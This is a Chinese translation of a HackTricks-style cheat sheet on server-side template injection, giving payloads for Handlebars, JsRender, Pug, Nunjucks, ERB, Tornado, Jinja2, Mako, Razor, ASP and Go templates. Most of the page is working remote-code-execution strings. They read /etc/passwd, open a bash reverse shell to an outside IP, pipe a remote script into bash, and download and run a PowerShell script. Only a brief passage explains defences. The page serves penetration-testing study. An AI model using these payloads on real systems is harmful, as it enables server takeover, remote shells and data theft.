Handlebars (NodeJS)
路径遍历(更多信息在这里)。
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = 错误
- ${7*7} = ${7*7}
- 无
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
更多信息
JsRender(NodeJS)
模板 | 描述 |
---|---|
评估和渲染输出 | |
评估和渲染HTML编码的输出 | |
注释 | |
和 | 允许代码(默认禁用) |
- = 49
客户端
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
服务器端
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
更多信息
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
服务器端渲染示例
var pugjs = require('pug');
home = pugjs.render(injected_page)
更多信息
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = 没有输出
- #{7*7} = #{7*7}
- {{console.log(1)}} = 错误
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
更多信息
ERB(Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
更多信息
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
更多信息
Python
查看以下页面以了解有关在Python中绕过沙箱的任意命令执行技巧:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
更多信息
Jinja2(Python)
Jinja2是一个功能齐全的Python模板引擎。它具有完全的Unicode支持,可选的集成沙箱执行环境,被广泛使用并且使用BSD许可证。
{{7*7}} = 错误
${7*7} = ${7*7}
{{foobar}} 无结果
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - 模板格式
Jinja2是一种流行的Python模板引擎,常用于Web应用程序中的服务器端模板渲染。它具有简洁的语法和强大的功能,使开发人员能够轻松地生成动态内容。
Jinja2模板使用双大括号{{ }}
来表示变量,并使用{% %}
来表示控制流语句,如条件语句和循环语句。以下是一些常见的Jinja2模板语法示例:
- 变量插值:
{{ variable }}
- 控制流语句:
{% if condition %} ... {% endif %}
- 循环语句:
{% for item in list %} ... {% endfor %}
- 过滤器:
{{ variable | filter }}
Jinja2模板还支持嵌套和继承,使开发人员能够构建复杂的模板结构。
服务器端模板注入(SSTI)
服务器端模板注入(SSTI)是一种安全漏洞,允许攻击者在服务器端模板中执行恶意代码。攻击者可以通过注入恶意模板代码来执行任意命令、访问敏感数据或完全控制服务器。
SSTI漏洞通常发生在未正确过滤或验证用户输入的情况下。攻击者可以通过在用户输入中注入Jinja2模板代码来利用这种漏洞。
利用SSTI漏洞
要利用SSTI漏洞,攻击者需要找到一个接受用户输入并将其作为模板渲染的漏洞点。然后,攻击者可以通过注入恶意的Jinja2模板代码来执行任意命令或访问敏感数据。
以下是一些常见的SSTI漏洞利用技巧:
- 执行命令:通过注入
{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['os'].<command> }}
来执行系统命令。 - 访问敏感数据:通过注入
{{ config.items() }}
来访问应用程序的配置信息。 - 控制流语句绕过:通过注入
{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['__builtins__']['<function>'](<arguments>) }}
来绕过控制流语句的限制。
防御SSTI漏洞
要防御SSTI漏洞,开发人员应该始终对用户输入进行严格的过滤和验证。以下是一些防御措施:
- 使用白名单过滤:只允许特定的安全模板标签和过滤器。
- 输入验证:对用户输入进行验证,确保其符合预期的格式和类型。
- 模板沙箱:将模板渲染限制在安全的沙箱环境中,以防止恶意代码执行。
通过采取这些防御措施,可以有效减少SSTI漏洞的风险,并提高应用程序的安全性。
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
不依赖 __builtins__
的 RCE(远程代码执行):
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
关于如何滥用Jinja的更多细节:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Mako(Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Razor (.Net)
@(2+2) <= 成功
@() <= 成功
@("{{code}}") <= 成功
@ <= 成功
@{} <= 错误!
@{ <= 错误!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET的System.Diagnostics.Process.Start
方法可用于在服务器上启动任何进程,从而创建一个Webshell。您可以在https://github.com/cnotin/RazorVulnerableApp中找到一个易受攻击的Web应用程序示例。
更多信息
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= 无<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
更多信息
Mojolicious(Perl)
即使是Perl,它也使用类似Ruby中的ERB标签。
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
GO中的SSTI
确认后端使用的模板引擎是Go的方法是使用以下有效载荷:
{{ . }}
= 作为输入传递给模板的数据结构- 如果传递的数据是一个包含属性Password的对象,前面的有效载荷将泄露它,但你也可以这样做:
{{ .Password }}
{{printf "%s" "ssti" }}
= 应该在响应中输出字符串ssti{{html "ssti"}}
,{{js "ssti"}}
= 这些是一些其他有效载荷,应该输出字符串"ssti",而不带有尾随的单词"js"或"html"。你可以在这里查看引擎中的更多关键字。
XSS利用
如果服务器使用的是text/template包,通过将有效载荷作为输入提供,很容易实现XSS。然而,如果使用的是html/template,它会对响应进行HTML编码:{{"<script>alert(1)</script>"}}
--> <script>alert(1)</script>
然而,Go允许定义一个完整的模板,然后稍后调用它。有效载荷将类似于:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
RCE利用
html/template模块的文档可以在这里找到,text/template模块的文档可以在这里找到,是的,它们确实有很大的差异。例如,在text/template中,你可以使用“call”值直接调用任何公共函数,但在html/template中不是这样。
如果你想通过SSTI在Go中找到一个RCE,你应该知道,你可以使用{{ . }}
访问模板中给定的对象,你也可以调用对象的方法。因此,假设传递的对象有一个名为System的方法来执行给定的命令,你可以使用以下方式滥用它:{{ .System "ls" }}
因此,你可能需要源代码。类似于这样的潜在源代码将如下所示:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
更多信息
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
更多利用
查看https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection中的其他利用。您还可以在https://github.com/DiogoMRSilva/websitesVulnerableToSSTI中找到有趣的标签信息。
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
相关帮助
如果您认为有用,请阅读:
工具
{% embed url="https://github.com/epinna/tplmap" %}
暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
练习和参考
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点交流平台。
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中宣传您的公司吗?或者您想获得最新版本的PEASS或下载PDF版本的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。